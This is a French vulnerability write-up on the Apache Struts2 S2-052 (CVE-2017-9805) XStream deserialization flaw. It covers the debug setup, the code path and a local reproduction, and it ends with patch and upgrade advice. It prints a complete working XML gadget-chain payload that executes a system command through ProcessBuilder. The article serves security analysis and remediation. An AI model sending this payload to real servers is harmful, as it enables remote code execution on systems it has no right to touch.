Maison  >  Article  >  Opération et maintenance  >  Exemple d'analyse de vulnérabilité Struts2-052

Exemple d'analyse de vulnérabilité Struts2-052

王林
王林avant
2023-05-13 11:25:061317parcourir

Préface

Le 5 septembre 2017, une grave vulnérabilité découverte par des chercheurs en sécurité de l'organisation étrangère de recherche en sécurité lgtm.com a été officiellement publiée dans Apache Struts 2, avec le numéro de vulnérabilité CVE-2017. - 9805 (S2-052), un attaquant peut transmettre des données XML soigneusement construites et exécuter des commandes à distance.
Le composant XStream du plug-in Struts2 REST présente une vulnérabilité de désérialisation Lorsque vous utilisez le composant XStream pour désérialiser des paquets de données au format XML, le contenu des données n'est pas vérifié efficacement, ce qui présente un risque de sécurité et peut être exécuté par. commandes à distance.
Conditions d'exploitation : en utilisant le plugin REST et dans la plage des versions concernées.
Méthode d'utilisation : L'attaquant construit des paquets de données malveillants pour une exploitation à distance.
Versions concernées : Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12

Débogage de la construction de l'environnement

1) Téléchargez le code source officiel :# 🎜🎜#git clone https://github.com/apache/Struts.git
2) Passer à la branche 2.5.12 :
git checkout STRUTS_2_5_12
3) Packager le source code dans src/ Copiez l'intégralité du dossier apps/rest-showcase et créez un nouveau projet
4) Utilisez IDEA ou Eclipse pour importer le projet maven
5) Après avoir exécuté en mode débogage, vous pouvez déboguer avec plaisir # 🎜🎜##🎜 🎜#

Analyse des principes de vulnérabilitéExemple danalyse de vulnérabilité Struts2-052

Selon l'annonce officielle, on sait que la vulnérabilité apparaît dans la classe XstreamHandler, dans le struts2-rest- package plugin-2.5.12.jar.

Alors regardez cette classe, il y a une méthode toObject dans cette classe, sa fonction est de désérialiser le contenu XML.


Définissez d'abord un point d'arrêt dans cette méthode, puis construisez le paquet de données
Exemple danalyse de vulnérabilité Struts2-052
Après avoir envoyé le paquet de données, il passera au point d'arrêt . À ce stade, on voit que la méthode est appelée par ContentTypeInterceptor dans la pile d'appels supérieure
Exemple danalyse de vulnérabilité Struts2-052
La méthode d'interception dans la classe ContentTypeInterceptor générera l'objet correspondant en fonction de la valeur du. Incoming Content-Type. Puisque nous avons l'entrée application/xml, un objet de traitement XML XStreamHandler est généré en conséquence.
Continuez f5 et voyez la fonction unmarshal qui effectue la désérialisation. Il n'y a pas de contrôle de sécurité des données lorsque cette fonction est exécutée, ce qui entraîne l'exécution de commandes à distance. Exemple danalyse de vulnérabilité Struts2-052

Ensuite, entrez la fonction unmarshal et continuez le débogage. AbstractReflectionConverter analysera les balises XML et les valeurs que nous avons soumises étape par étape, et enfin appellera le code dans le poc
#. 🎜🎜## 🎜🎜#Exemple danalyse de vulnérabilité Struts2-052Récurrence de vulnérabilité

Cliquez sur Soumettre sur la page http://localhost:8080//struts2-rest-showcase/orders/3/edit, #🎜🎜 ##🎜 🎜#Exemple danalyse de vulnérabilité Struts2-052Interceptez la requête HTTP et modifiez le corps de la requête en POC Payload, puis modifiez l'en-tête Content-Type en application/xml.

payload est :

<map> 
  <entry> 
    <jdk.nashorn.internal.objects.nativestring> 
      <flags>0</flags>  
      <value> 
        <datahandler> 
          <datasource> 
            <is> 
              <cipher> 
                <initialized>false</initialized>  
                <opmode>0</opmode>  
                <serviceiterator> 
                  <iter> 
                    <iter></iter>  
                    <next> 
                      <command> 
                        <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string> 
                      </command>  
                      <redirecterrorstream>false</redirecterrorstream> 
                    </next> 
                  </iter>  
                  <filter> 
                    <method> 
                      <class>java.lang.ProcessBuilder</class>  
                      <name>start</name>  
                      <parameter-types></parameter-types> 
                    </method>  
                    <name>foo</name> 
                  </filter>  
                  <next>foo</next> 
                </serviceiterator>  
                <lock></lock> 
              </cipher>  
              <input>  
              <ibuffer></ibuffer>  
              <done>false</done>  
              <ostart>0</ostart>  
              <ofinish>0</ofinish>  
              <closed>false</closed> 
            </is>  
            <consumed>false</consumed> 
          </datasource>  
          <transferflavors></transferflavors> 
        </datahandler>  
        <datalen>0</datalen> 
      </value> 
    </jdk.nashorn.internal.objects.nativestring>  
    <jdk.nashorn.internal.objects.nativestring></jdk.nashorn.internal.objects.nativestring> 
  </entry>  
  <entry> 
    <jdk.nashorn.internal.objects.nativestring></jdk.nashorn.internal.objects.nativestring>  
    <jdk.nashorn.internal.objects.nativestring></jdk.nashorn.internal.objects.nativestring> 
  </entry> 
</map>

Après l'envoi de la demande, la calculatrice apparaît


Exemple danalyse de vulnérabilité Struts2-052
Patch

Patch officiel, le plan de réparation officiel met principalement les données sur liste blanche au format XML et place Collection et Map, certaines classes de base et classes de temps dans la liste blanche, afin d'empêcher XStream d'introduire des données nuisibles lors de la désérialisation.


Suggestion de correctionExemple danalyse de vulnérabilité Struts2-052

Version 2.3.0 vers 2.3.33 Mise à niveau vers la version Struts 2.3.34

Version 2.5.0 vers 2.5.12 Mise à niveau vers Struts 2.5. Version 13

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Cet article est reproduit dans:. en cas de violation, veuillez contacter admin@php.cn Supprimer